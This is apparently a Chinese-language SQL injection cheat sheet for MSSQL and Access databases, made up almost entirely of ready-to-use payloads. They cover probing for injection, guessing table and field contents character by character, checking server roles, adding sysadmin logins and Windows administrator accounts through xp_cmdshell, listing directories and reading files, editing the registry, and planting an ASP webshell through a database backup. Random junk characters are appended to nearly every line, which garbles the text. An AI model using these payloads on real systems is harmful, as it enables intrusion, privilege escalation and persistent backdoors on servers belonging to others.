1.判断是否有注入;and 1=1 ;and 1=2 V p5V
m
2.初步判断是否是mssql ;and user>0 g}\U, (
?6_"nT*}
3.注入参数是字符'and [查询条件] and ''=' Ah(\%35&
Ak<IHp^Q
4.搜索时没过滤参数的'and [查询条件] and '%25'=' dj 8F6\
buMiJzU
5.判断数据库系统 C5.\;;7^&
@n5;|`)\
;and (select count(*) from sysobjects)>0 mssql *[XN.sb8E
7I @9v=xV
;and (select count(*) from msysobjects)>0 access AH"g^ gw~T
XhJ P87 A
@5<]W+jk4
e'}ePvN
6.猜数据库 ;and (select Count(*) from [数据库名])>0 bCJ<=X,g`K
~(w=U *
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 V{7lltu
_OyP>| L'
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 +9=@E
5`OK-
9.(1)猜字段的ascii值(access) gxBl1
= B3! jir
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;] l{ D}
9RCB$Ka6X
(2)猜字段的ascii值(mssql) q?e16M
/j=DC9_
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 , }xpYq_/
f 4
Sw, A
10.测试权限结构(mssql) #`YxoY `
z=- 8iks|
0+VncL)u
1@1+4P0NF[
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- %^Q@*+{:f
;XKo44%
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- pqGf@24c<
c_D,MW\IC
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- )-TeDIfm
)%H5iSNG$P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- B5?c'[V9
?%8})^Dd>4
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Q(!}t"u
# J <`p
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- |}]JWsuB
V 29S*
;and 1=(select IS_MEMBER('db_owner'));-- eNlF2M
J*^,l`C/
4N%2w(,+8
IV
3@6t4k
11.添加mssql和系统的帐户 w|hyU4- ^
r(?'Y y
;exec master.dbo.sp_addlogin username;-- 0k] ju
;exec master.dbo.sp_password null,username,password;-- a|] %/[G@
mZ& \3m=
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &t9XK 8S
/ ut~jf`
;exec master.dbo.xp_cmdshell 'net user username password bH)8UQR%
5{!a+
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- /pSUn"3
f)ucC$1=
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ~ (l2%( 3G
Y9I #Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1 o5Y9#7
x1 &b@u
sg9x?Bx9
21)-: rS
12.(1)遍历目录 h Vt+%tmNy
.SKNIct
M
;create table dirs(paths varchar(100), id int) -G^t-I
]<o.aMdV
;insert dirs exec master.dbo.xp_dirtree 'c:\' r-\T}e2Gz
# ZYid t
;and (select top 1 paths from dirs)>0 ;?HZ,"^I
AT'_0> x 8
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) dWq/) %@t
)W}/ k$S
] B-$p p
"k_n+cH%
(2)遍历目录 ^S; RX*
0[$Mo3c+'
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- rz%[o,s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0D]Yz`n3
!Sy'Z6%f
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 '#An+;x{
;&t1 FH#=
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 |<+|Du1
L]L~TA<D9i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 @e?[oojrM
u`H@Q&(^wa
{eD>E(Y@z1
3Mh,NQ B
13.mssql中的存储过程 /PB3^d>Q2
D=I5[t 0c4
xp_regenumvalues 注册表根键, 子键 gQ@Pw4bA
;o)`9<es!2
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 A86lyBDQ*
ZjI/zqBm
xp_regread 根键,子键,键值名 nm:let7GB
V~uA(3\U
;exec xp_regread ^?S@v1~7d
>I 66R;
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Pu\DYP: (
]Buk9LT e
xp_regwrite 根键,子键, 值名, 值类型, 值 i&s=!`
$M3A+6["H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $X<<JnsK
uB#B\i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ph&H *Mc
T~ q'y~9o
xp_regdeletevalue 根键,子键,值名 >-@{ vyoOy
% OfDTs
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 -z~ V
??e#E[bI
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _ry En
c7T WAG_+
5P t}
9{^B
Tc
14.mssql的backup创建webshell :7PSZc:xE
~C*6V{Tj
use model a ~iEps
'N5r2JL[w
create table cmd(str image); Kg0\Pvg8?T
[m+O0VK$
insert into cmd(str) values (''); ]v, y(yl
]!Aze^7;
backup database model to disk='c:\l.asp'; ~JmxW;|_x)
OD@A+"
O@(.ei*HJ!
}${ZI
15.mssql内置函数 &= yqWW?
e iSO7cGy
;and (select @@version)>0 获得Windows的版本号 $O</akn;
\,IDLXqp
;and user_name()='dbo' 判断当前系统的连接用户是不是sa HgBEV
yI)fu^
;and (select user_name())>0 爆当前系统的连接用户 uY%3X/^j
YrcC "
;and (select db_name())>0 得到当前连接的数据库 =z /mI y<
c$SxDYG
rJ~(Xu>, s
Fe2 -;o
16.简洁的webshell HE <%d
r- "`Abev
use model 4 }YT@={g}
(pxz#B4
create table cmd(str image); Ywb)h^{!
{ZYCnS&?CL
insert into cmd(str) values (''); 6Q?6- ,?_
(i~%4w=
backup database model to disk='g:\wwwtest\l.asp';
